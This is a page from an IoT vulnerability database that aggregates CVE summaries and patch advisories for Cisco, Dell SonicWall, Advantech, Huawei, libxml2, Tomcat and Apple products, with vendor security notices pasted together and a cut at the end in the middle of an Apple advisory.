VARIoT IoT vulnerabilities database

Dell SonicWall TotalSecure TZ 100 devices with firmware before 5.9.1.0-22o allow remote attackers to cause a denial of service via a crafted packet. SonicWall TotalSecure TZ 100 Series is a firewall product provided by Dell Inc. SonicWall TotalSecure TZ 100 Series contains a denial-of-service (DoS) vulnerability. FFRI,Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.Processing a specially crafted packet may lead to a denial-of-service (DoS). An attacker can exploit this issue to cause a denial-of-service condition. Dell SonicWall TotalSecure TZ 100 is a Unified Threat Management (UTM) firewall from Dell, USA, that provides functions such as intrusion prevention, anti-malware, content/URL filtering, and application control

Advantech EKI-122x-BE devices with firmware before 1.65, EKI-132x devices with firmware before 1.98, and EKI-136x devices with firmware before 1.27 have hardcoded SSH keys, which makes it easier for remote attackers to obtain access via an SSH session. Supplementary information : CWE Vulnerability type by CWE-798: Use of Hard-coded Credentials ( Using hard-coded credentials ) Has been identified. http://cwe.mitre.org/data/definitions/798.htmlBy a third party SSH Access may be gained through a session. Advantech EKI-122x-BE, EKI-132x and EKI-136x are all serial device networking servers of Advantech, Inc., which provide various redundant configurations and multiple channels for remote monitoring of serial devices via Ethernet communication protocol. Access configuration. Security vulnerabilities exist in several Advantech products. Multiple Advantech EKI products are prone to a security-bypass vulnerability

The default configuration of sshd_config in Cisco Mobility Services Engine (MSE) through 8.0.120.7 allows logins by the oracle account, which makes it easier for remote attackers to obtain access by entering this account's hardcoded password in an SSH session, aka Bug ID CSCuv40501. The platform collects, stores, and manages data from wireless clients, Cisco access points, and controllers. A security vulnerability exists in the default configuration of sshd_config in Cisco MSE 8.0.120.7 and earlier. Because the program allows login using the oracle account. This may aid in further attacks. This issue being tracked by Cisco Bug ID CSCuv40501

Cisco AsyncOS before 8.5.7-043, 9.x before 9.1.1-023, and 9.5.x and 9.6.x before 9.6.0-046 on Email Security Appliance (ESA) devices mishandles malformed fields during body-contains, attachment-contains, every-attachment-contains, attachment-binary-contains, dictionary-match, and attachment-dictionary-match filtering, which allows remote attackers to cause a denial of service (memory consumption) via a crafted attachment in an e-mail message, aka Bug ID CSCuv47151. The Cisco AsyncOS operating system enhances the security and performance of Cisco Email Security appliances. An attacker can exploit this issue to cause a denial-of-service condition. This issue is being tracked by Cisco Bug ID CSCuv47151. The vulnerability is caused by the fact that the program does not perform body-contains, attachment-contains, every-attachment-contains, attachment-binary-contains, dictionary-match, and attachment-dictionary-match filters. Correctly handle malformed fields. The following releases are affected: Cisco AsyncOS releases prior to 8.5.7-043, releases 9.x prior to 9.1.1-023, releases 9.5.x and releases 9.6.x prior to 9.6.0-046

Cisco AsyncOS 8.x before 8.0.8-113, 8.1.x and 8.5.x before 8.5.3-051, 8.6.x and 8.7.x before 8.7.0-171-LD, and 8.8.x before 8.8.0-085 on Web Security Appliance (WSA) devices allows remote attackers to cause a denial of service (memory consumption) via multiple file-range requests, aka Bug ID CSCur39155. Vendors have confirmed this vulnerability Bug ID CSCur39155 It is released as.Multiple third parties file-range Service disruption via request ( Memory consumption ) There is a possibility of being put into a state. The Cisco AsyncOS operating system enhances the security and performance of Cisco Email Security appliances. An attacker can exploit this issue to cause a denial-of-service condition. This issue is being tracked by Cisco Bug IDs CSCur39155 and CSCuu29304. The following releases are affected: Cisco AsyncOS 8.x prior to 8.0.8-113, 8.1.x and 8.5.x prior to 8.5.3-051, 8.6.x and 8.7.x prior to 8.7.0-171-LD Version, 8.8.x version before 8.8.0-085

Cisco AsyncOS before 8.5.7-042, 9.x before 9.1.0-032, 9.1.x before 9.1.1-023, and 9.5.x and 9.6.x before 9.6.0-042 on Email Security Appliance (ESA) devices; before 9.1.0-032, 9.1.1 before 9.1.1-005, and 9.5.x before 9.5.0-025 on Content Security Management Appliance (SMA) devices; and before 7.7.0-725 and 8.x before 8.0.8-113 on Web Security Appliance (WSA) devices allows remote attackers to cause a denial of service (memory consumption) via a flood of TCP packets, aka Bug IDs CSCus79774, CSCus79777, and CSCzv95795. Vendors have confirmed this vulnerability Bug ID CSCus79774 , CSCus79777 ,and CSCzv95795 It is released as.A large amount by a third party TCP Service disruption via packets ( Memory consumption ) There is a possibility of being put into a state. The Cisco AsyncOS operating system enhances the security and performance of Cisco Email Security appliances. A security vulnerability exists in the Cisco AsyncOS f network stack. An attacker can exploit this issue to cause a denial-of-service condition. This issue is tracked by Cisco Bug IDs CSCus79774, CSCus79777, and CSCzv95795. The following releases are affected: Cisco AsyncOS on Cisco ESA appliances prior to 8.5.7-042, 9.x prior to 9.1.0-032, 9.1.x prior to 9.1.1-023, and 9.5 prior to 9.6.0-042. x and 9.6.x releases; Cisco AsyncOS releases prior to 9.1.0-032 on Content SMA appliances, 9.1.1 releases prior to 9.1.1-005, and 9.5.x releases prior to 9.5.0-025; Cisco AsyncOS releases on WSA appliances AsyncOS versions prior to 7.7.0-725 and versions 8.x prior to 8.0.8-113

Heap-based buffer overflow in the HIFI driver in Huawei Mate 7 phones with software MT7-UL00 before MT7-UL00C17B354, MT7-TL10 before MT7-TL10C00B354, MT7-TL00 before MT7-TL00C01B354, and MT7-CL00 before MT7-CL00C92B354 and P8 phones with software GRA-TL00 before GRA-TL00C01B220SP01, GRA-CL00 before GRA-CL00C92B220, GRA-CL10 before GRA-CL10C92B220, GRA-UL00 before GRA-UL00C00B220, and GRA-UL10 before GRA-UL10C00B220 allows attackers to cause a denial of service (reboot) or execute arbitrary code via a crafted application. Huawei Mate7 is a smartphone product from China's Huawei company. There is a memory heap overflow vulnerability in Huawei Mate7's HIFI driver. An attacker can use this vulnerability to entice a user to install a malicious application to read and modify memory data, causing the system to reboot or gain root access to the phone. Huawei Smart Phones are prone to a local heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Local attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. The Huawei Mate 7 and P8 are smartphones from the Chinese company Huawei. HIFI driver is one of the HIFI (High Fidelity) audio drivers. The following products and versions are affected: Huawei Mate 7 using software versions earlier than MT7-UL00C17B354, MT7-TL10C00B354, MT7-TL00C01B354, and MT7-CL00C92B354, using versions earlier than GRA-TL00C01B220SP01, versions earlier than GRA-CL00C92B220, Versions earlier than GRA-CL10C92B220, versions earlier than GRA-UL00C00B220, and P8 of software versions earlier than GRA-UL10C00B220

The proxy-cache implementation in Cisco AsyncOS 8.0.x before 8.0.7-151, 8.1.x and 8.5.x before 8.5.2-004, 8.6.x and 8.7.x before 8.7.0-171-LD, and 8.8.x before 8.8.0-085 on Web Security Appliance (WSA) devices allows remote attackers to cause a denial of service (memory consumption) via multiple proxy connections, aka Bug ID CSCus10922. The Cisco Web Security Appliance is a network security appliance from Cisco. A security vulnerability exists in the proxy cache feature of Cisco AsyncOS in Cisco WSA appliances. The program failed to handle the memory correctly. Attackers can exploit this issue to cause a denial-of-service condition, denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCus10922. The following releases are affected: Cisco AsyncOS 8.0.x prior to 8.0.7-151, 8.1.x and 8.5.x prior to 8.5.2-004, 8.6.x and 8.7.x prior to 8.7.0-171-LD Version, 8.8.x version before 8.8.0-085

Cisco Mobility Services Engine (MSE) through 8.0.120.7 uses weak permissions for unspecified binary files, which allows local users to obtain root privileges by writing to a file, aka Bug ID CSCuv40504. Vendors have confirmed this vulnerability Bug ID CSCuv40504 It is released as.By being written to a file by a local user, root You may get permission. The Cisco Mobility Services Engine (MSE) is a suite of Wi-Fi-enabled platforms (mobile service engines) from Cisco. The platform collects, stores, and manages data from wireless clients, Cisco access points, and controllers. A security vulnerability exists in Cisco MSE 8.0.120.7 and earlier. Because the program assigns weak permissions to the binary. This issue is being tracked by Cisco Bug ID CSCuv40504

The admin web interface in Cisco AsyncOS 8.x before 8.0.8-113, 8.1.x and 8.5.x before 8.5.3-051, 8.6.x and 8.7.x before 8.7.0-171-LD, and 8.8.x before 8.8.0-085 on Web Security Appliance (WSA) devices allows remote authenticated users to obtain root privileges via crafted certificate-generation arguments, aka Bug ID CSCus83445. Vendors have confirmed this vulnerability Bug ID CSCus83445 It is released as.Through a crafted certificate generation argument by a remotely authenticated user, root You may get permission. A remote attacker can exploit this vulnerability to obtain root privileges through a specially crafted certificate-generation parameter. This issue is being tracked by Cisco bug ID CSCus83445

The xz_decomp function in xzlib.c in libxml2 2.9.1 does not properly detect compression errors, which allows context-dependent attackers to cause a denial of service (process hang) via crafted XML data. It supports multiple encoding formats, XPath analysis, Well-formed and valid verification, etc. The vulnerability is caused by the program not properly checking for compression errors. Summary: Red Hat JBoss Web Server 3.0.3 is now available for Red Hat Enterprise Linux 6 and 7, Solaris, and Microsoft Windows from the Customer Portal. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Description: Red Hat JBoss Web Server is a fully integrated and certified set of components for hosting Java web applications. It is comprised of the Apache HTTP Server, the Apache Tomcat Servlet container, Apache Tomcat Connector (mod_jk), JBoss HTTP Connector (mod_cluster), Hibernate, and the Tomcat Native library. This release of Red Hat JBoss Web Server 3.0.3 serves as a replacement for Red Hat JBoss Web Server 3.0.2, and includes bug fixes and enhancements, which are documented in the Release Notes documented linked to in the References. Security Fix(es): * Several denial of service flaws were found in libxml2, a library providing support for reading, modifying, and writing XML and HTML files. A remote attacker could provide a specially crafted XML or HTML file that, when processed by an application using libxml2, would cause that application to use an excessive amount of CPU, leak potentially sensitive information, or in certain cases crash the application. (CVE-2015-5312, CVE-2015-7497, CVE-2015-7498, CVE-2015-7499, CVE-2015-7500, CVE-2015-7942, CVE-2015-8035, CVE-2015-8710, CVE-2015-7941, CVE-2015-8241, CVE-2015-8242, CVE-2015-8317) * A session fixation flaw was found in the way Tomcat recycled the requestedSessionSSL field. If at least one web application was configured to use the SSL session ID as the HTTP session ID, an attacker could reuse a previously used session ID for further requests. (CVE-2015-5346) * A CSRF flaw was found in Tomcat's the index pages for the Manager and Host Manager applications. These applications included a valid CSRF token when issuing a redirect as a result of an unauthenticated request to the root of the web application. This token could then be used by an attacker to perform a CSRF attack. (CVE-2015-5351) * It was found that several Tomcat session persistence mechanisms could allow a remote, authenticated user to bypass intended SecurityManager restrictions and execute arbitrary code in a privileged context via a web application that placed a crafted object in a session. (CVE-2016-0714) * A security manager bypass flaw was found in Tomcat that could allow remote, authenticated users to access arbitrary application data, potentially resulting in a denial of service. (CVE-2016-0763) * A use-after-free flaw was found in the way OpenSSL imported malformed Elliptic Curve private keys. A specially crafted key file could cause an application using OpenSSL to crash when imported. (CVE-2015-0209) * It was found that Tomcat could reveal the presence of a directory even when that directory was protected by a security constraint. A user could make a request to a directory via a URL not ending with a slash and, depending on whether Tomcat redirected that request, could confirm whether that directory existed. (CVE-2015-5345) * It was found that Tomcat allowed the StatusManagerServlet to be loaded by a web application when a security manager was configured. This allowed a web application to list all deployed web applications and expose sensitive information such as session IDs. (CVE-2016-0706) Red Hat would like to thank the GNOME project for reporting CVE-2015-7497, CVE-2015-7498, CVE-2015-7499, CVE-2015-7500, CVE-2015-8241, CVE-2015-8242, and CVE-2015-8317. Upstream acknowledges Kostya Serebryany as the original reporter of CVE-2015-7497, CVE-2015-7498, CVE-2015-7499, and CVE-2015-7500; Hugh Davenport as the original reporter of CVE-2015-8241 and CVE-2015-8242; and Hanno Boeck as the original reporter of CVE-2015-8317. 3. Solution: The References section of this erratum contains a download link (you must log in to download the update). Before applying the update, back up your existing Red Hat JBoss Web Server installation (including all applications and configuration files). After installing the updated packages, the httpd daemon will be restarted automatically. 4. Bugs fixed (https://bugzilla.redhat.com/): 1196737 - CVE-2015-0209 openssl: use-after-free on invalid EC private key import 1213957 - CVE-2015-8710 libxml2: out-of-bounds memory access when parsing an unclosed HTML comment 1274222 - CVE-2015-7941 libxml2: Out-of-bounds memory access 1276297 - CVE-2015-7942 libxml2: heap-based buffer overflow in xmlParseConditionalSections() 1276693 - CVE-2015-5312 libxml2: CPU exhaustion when processing specially crafted XML input 1277146 - CVE-2015-8035 libxml2: DoS when parsing specially crafted XML document if XZ support is enabled 1281862 - CVE-2015-7497 libxml2: Heap-based buffer overflow in xmlDictComputeFastQKey 1281879 - CVE-2015-7498 libxml2: Heap-based buffer overflow in xmlParseXmlDecl 1281925 - CVE-2015-7499 libxml2: Heap-based buffer overflow in xmlGROW 1281930 - CVE-2015-8317 libxml2: Out-of-bounds heap read when parsing file with unfinished xml declaration 1281936 - CVE-2015-8241 libxml2: Buffer overread with XML parser in xmlNextChar 1281943 - CVE-2015-7500 libxml2: Heap buffer overflow in xmlParseMisc 1281950 - CVE-2015-8242 libxml2: Buffer overread with HTML parser in push mode in xmlSAX2TextNode 1311076 - CVE-2015-5351 tomcat: CSRF token leak 1311082 - CVE-2016-0714 tomcat: Security Manager bypass via persistence mechanisms 1311085 - CVE-2015-5346 tomcat: Session fixation 1311087 - CVE-2016-0706 tomcat: security manager bypass via StatusManagerServlet 1311089 - CVE-2015-5345 tomcat: directory disclosure 1311093 - CVE-2016-0763 tomcat: security manager bypass via setGlobalContext() 5. JIRA issues fixed (https://issues.jboss.org/): JWS-271 - User submitted session ID JWS-272 - User submitted session ID JWS-276 - Welcome File processing refactoring - CVE-2015-5345 low JWS-277 - Welcome File processing refactoring - CVE-2015-5345 low JWS-303 - Avoid useless session creation for manager webapps - CVE-2015-5351 moderate JWS-304 - Restrict another manager servlet - CVE-2016-0706 low JWS-349 - Session serialization safety - CVE-2016-0714 moderate JWS-350 - Protect ResourceLinkFactory.setGlobalContext() - CVE-2016-0763 moderate 6. References: https://access.redhat.com/security/cve/CVE-2015-0209 https://access.redhat.com/security/cve/CVE-2015-5312 https://access.redhat.com/security/cve/CVE-2015-5345 https://access.redhat.com/security/cve/CVE-2015-5346 https://access.redhat.com/security/cve/CVE-2015-5351 https://access.redhat.com/security/cve/CVE-2015-7497 https://access.redhat.com/security/cve/CVE-2015-7498 https://access.redhat.com/security/cve/CVE-2015-7499 https://access.redhat.com/security/cve/CVE-2015-7500 https://access.redhat.com/security/cve/CVE-2015-7941 https://access.redhat.com/security/cve/CVE-2015-7942 https://access.redhat.com/security/cve/CVE-2015-8035 https://access.redhat.com/security/cve/CVE-2015-8241 https://access.redhat.com/security/cve/CVE-2015-8242 https://access.redhat.com/security/cve/CVE-2015-8317 https://access.redhat.com/security/cve/CVE-2015-8710 https://access.redhat.com/security/cve/CVE-2016-0706 https://access.redhat.com/security/cve/CVE-2016-0714 https://access.redhat.com/security/cve/CVE-2016-0763 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/documentation/en-US/Red_Hat_JBoss_Web_Server/3/html-single/3.0.3_Release_Notes/index.html https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=webserver&version=3.0.3 7. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2016 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iD8DBQFXO0eWXlSAg2UNWIIRAjqoAJ9kJfUdG/dzrjc6CPe+Ah1NIaqvsACfZE1q 9d1Ta2CX5a+zVXOqLprEvM0= =ByHT -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201701-37 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: libxml2: Multiple vulnerabilities Date: January 16, 2017 Bugs: #564776, #566374, #572878, #573820, #577998, #582538, #582540, #583888, #589816, #597112, #597114, #597116 ID: 201701-37 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in libxml2, the worst of which could lead to the execution of arbitrary code. Background ========== libxml2 is the XML (eXtended Markup Language) C parser and toolkit initially developed for the Gnome project. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 dev-libs/libxml2 < 2.9.4-r1 >= 2.9.4-r1 Description =========== Multiple vulnerabilities have been discovered in libxml2. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All libxml2 users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=dev-libs/libxml2-2.9.4-r1" References ========== [ 1 ] CVE-2015-1819 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-1819 [ 2 ] CVE-2015-5312 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-5312 [ 3 ] CVE-2015-7497 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7497 [ 4 ] CVE-2015-7498 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7498 [ 5 ] CVE-2015-7499 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7499 [ 6 ] CVE-2015-7500 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7500 [ 7 ] CVE-2015-7941 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7941 [ 8 ] CVE-2015-7942 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7942 [ 9 ] CVE-2015-8035 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-8035 [ 10 ] CVE-2015-8242 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-8242 [ 11 ] CVE-2015-8806 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-8806 [ 12 ] CVE-2016-1836 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-1836 [ 13 ] CVE-2016-1838 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-1838 [ 14 ] CVE-2016-1839 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-1839 [ 15 ] CVE-2016-1840 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-1840 [ 16 ] CVE-2016-2073 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-2073 [ 17 ] CVE-2016-3627 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-3627 [ 18 ] CVE-2016-3705 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-3705 [ 19 ] CVE-2016-4483 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-4483 [ 20 ] CVE-2016-4658 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-4658 [ 21 ] CVE-2016-5131 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-5131 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/201701-37 Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. License ======= Copyright 2017 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 . CVE-ID CVE-2016-1722 : Joshua J. For the oldstable distribution (wheezy), these problems have been fixed in version 2.8.0+dfsg1-7+wheezy5. For the stable distribution (jessie), these problems have been fixed in version 2.9.1+dfsg1-5+deb8u1. For the testing distribution (stretch), these problems have been fixed in version 2.9.3+dfsg1-1 or earlier versions. For the unstable distribution (sid), these problems have been fixed in version 2.9.3+dfsg1-1 or earlier versions. We recommend that you upgrade your libxml2 packages. 7) - x86_64 3. Security Fix(es): * libxml2: Use after free triggered by XPointer paths beginning with range-to (CVE-2016-5131) * libxml2: Use after free in xmlXPathCompOpEvalPositionalPredicate() function in xpath.c (CVE-2017-15412) * libxml2: DoS caused by incorrect error detection during XZ decompression (CVE-2015-8035) * libxml2: NULL pointer dereference in xmlXPathCompOpEval() function in xpath.c (CVE-2018-14404) * libxml2: Unrestricted memory usage in xz_head() function in xzlib.c (CVE-2017-18258) * libxml2: Infinite loop caused by incorrect error detection during LZMA decompression (CVE-2018-14567) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Solution: For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 The desktop must be restarted (log out, then log back in) for this update to take effect. Bugs fixed (https://bugzilla.redhat.com/): 1277146 - CVE-2015-8035 libxml2: DoS caused by incorrect error detection during XZ decompression 1358641 - CVE-2016-5131 libxml2: Use after free triggered by XPointer paths beginning with range-to 1523128 - CVE-2017-15412 libxml2: Use after free in xmlXPathCompOpEvalPositionalPredicate() function in xpath.c 1566749 - CVE-2017-18258 libxml2: Unrestricted memory usage in xz_head() function in xzlib.c 1595985 - CVE-2018-14404 libxml2: NULL pointer dereference in xmlXPathCompOpEval() function in xpath.c 1619875 - CVE-2018-14567 libxml2: Infinite loop caused by incorrect error detection during LZMA decompression 6. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/ 7. ============================================================================ Ubuntu Security Notice USN-2812-1 November 16, 2015 libxml2 vulnerabilities ============================================================================ A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 15.10 - Ubuntu 15.04 - Ubuntu 14.04 LTS - Ubuntu 12.04 LTS Summary: Several security issues were fixed in libxml2. If a user or automated system were tricked into opening a specially crafted document, an attacker could possibly cause resource consumption, resulting in a denial of service. This issue only affected Ubuntu 12.04 LTS, Ubuntu 14.04 LTS and Ubuntu 15.04. (CVE-2015-1819) Michal Zalewski discovered that libxml2 incorrectly handled certain XML data. This issue only affected Ubuntu 12.04 LTS, Ubuntu 14.04 LTS and Ubuntu 15.04. (CVE-2015-7941) Kostya Serebryany discovered that libxml2 incorrectly handled certain XML data. (CVE-2015-7942) Gustavo Grieco discovered that libxml2 incorrectly handled certain XML data. This issue only affected Ubuntu 14.04 LTS. (CVE-2015-8035) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 15.10: libxml2 2.9.2+zdfsg1-4ubuntu0.1 Ubuntu 15.04: libxml2 2.9.2+dfsg1-3ubuntu0.1 Ubuntu 14.04 LTS: libxml2 2.9.1+dfsg1-3ubuntu4.5 Ubuntu 12.04 LTS: libxml2 2.7.8.dfsg-5.1ubuntu4.12 After a standard system update you need to reboot your computer to make all the necessary changes. CVE-ID CVE-2016-1781 : Devdatta Akhawe of Dropbox, Inc. WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A website may be able to track sensitive user information Description: A hidden web page may be able to access device- orientation and device-motion data. This issue was addressed by suspending the availability of this data when the web view is hidden. CVE-ID CVE-2016-1780 : Maryam Mehrnezhad, Ehsan Toreini, Siamak F. Shahandashti, and Feng Hao of the School of Computing Science, Newcastle University, UK WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Visiting a maliciously crafted website may reveal a user's current location Description: An issue existed in the parsing of geolocation requests. CVE-ID CVE-2016-1779 : xisigr of Tencent's Xuanwu Lab (http://www.tencent.com) WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious website may be able to access restricted ports on arbitrary servers Description: A port redirection issue was addressed through additional port validation. CVE-ID CVE-2016-1782 : Muneaki Nishimura (nishimunea) of Recruit Technologies Co.,Ltd. CVE-ID CVE-2016-1784 : Moony Li and Jack Tang of TrendMicro and 李普君 of 无声信息技术PKAV Team (PKAV.net) WebKit Page Loading Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Visiting a malicious website may lead to user interface spoofing Description: Redirect responses may have allowed a malicious website to display an arbitrary URL and read cached contents of the destination origin. CVE-ID CVE-2016-1786 : ma.la of LINE Corporation WebKit Page Loading Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious website may exfiltrate data cross-origin Description: A caching issue existed with character encoding. CVE-ID CVE-2016-0801 : an anonymous researcher CVE-2016-0802 : an anonymous researcher Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 APPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update 2016-002 OS X El Capitan 10.11.4 and Security Update 2016-002 is now available and addresses the following: apache_mod_php Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team AppleUSBNetworking Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the parsing of data from USB devices. This issue was addressed through improved input validation. CVE-ID CVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path Bluetooth Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1735 : Jeonghoon Shin@A.D.D CVE-2016-1736 : beist and ABH of BoB Carbon Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .dfont file may lead to arbitrary code execution Description: Multiple memory corruption issues existed in the handling of font files. These issues were addressed through improved bounds checking. CVE-ID CVE-2016-1737 : an anonymous researcher dyld Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker may tamper with code-signed applications to execute arbitrary code in the application's context Description: A code signing verification issue existed in dyld. This issue was addressed with improved validation. CVE-ID CVE-2016-1738 : beist and ABH of BoB FontParser Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with Trend Micro's Zero Day Initiative (ZDI) HTTPProtocol Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to execute arbitrary code Description: Multiple vulnerabilities existed in nghttp2 versions prior to 1.6.0, the most serious of which may have led to remote code execution. These were addressed by updating nghttp2 to version 1.6.0. CVE-ID CVE-2015-8659 Intel Graphics Driver Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1743 : Piotr Bania of Cisco Talos CVE-2016-1744 : Ian Beer of Google Project Zero IOFireWireFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to cause a denial of service Description: A null pointer dereference was addressed through improved validation. CVE-ID CVE-2016-1745 : sweetchip of Grayhash IOGraphics Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) IOHIDFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1748 : Brandon Azad IOUSBFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed through improved memory management. CVE-ID CVE-2016-1750 : CESG Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition existed during the creation of new processes. This was addressed through improved state handling. CVE-ID CVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A null pointer dereference was addressed through improved input validation. CVE-ID CVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team Kernel Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team CVE-2016-1755 : Ian Beer of Google Project Zero CVE-2016-1759 : lokihardt Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: An 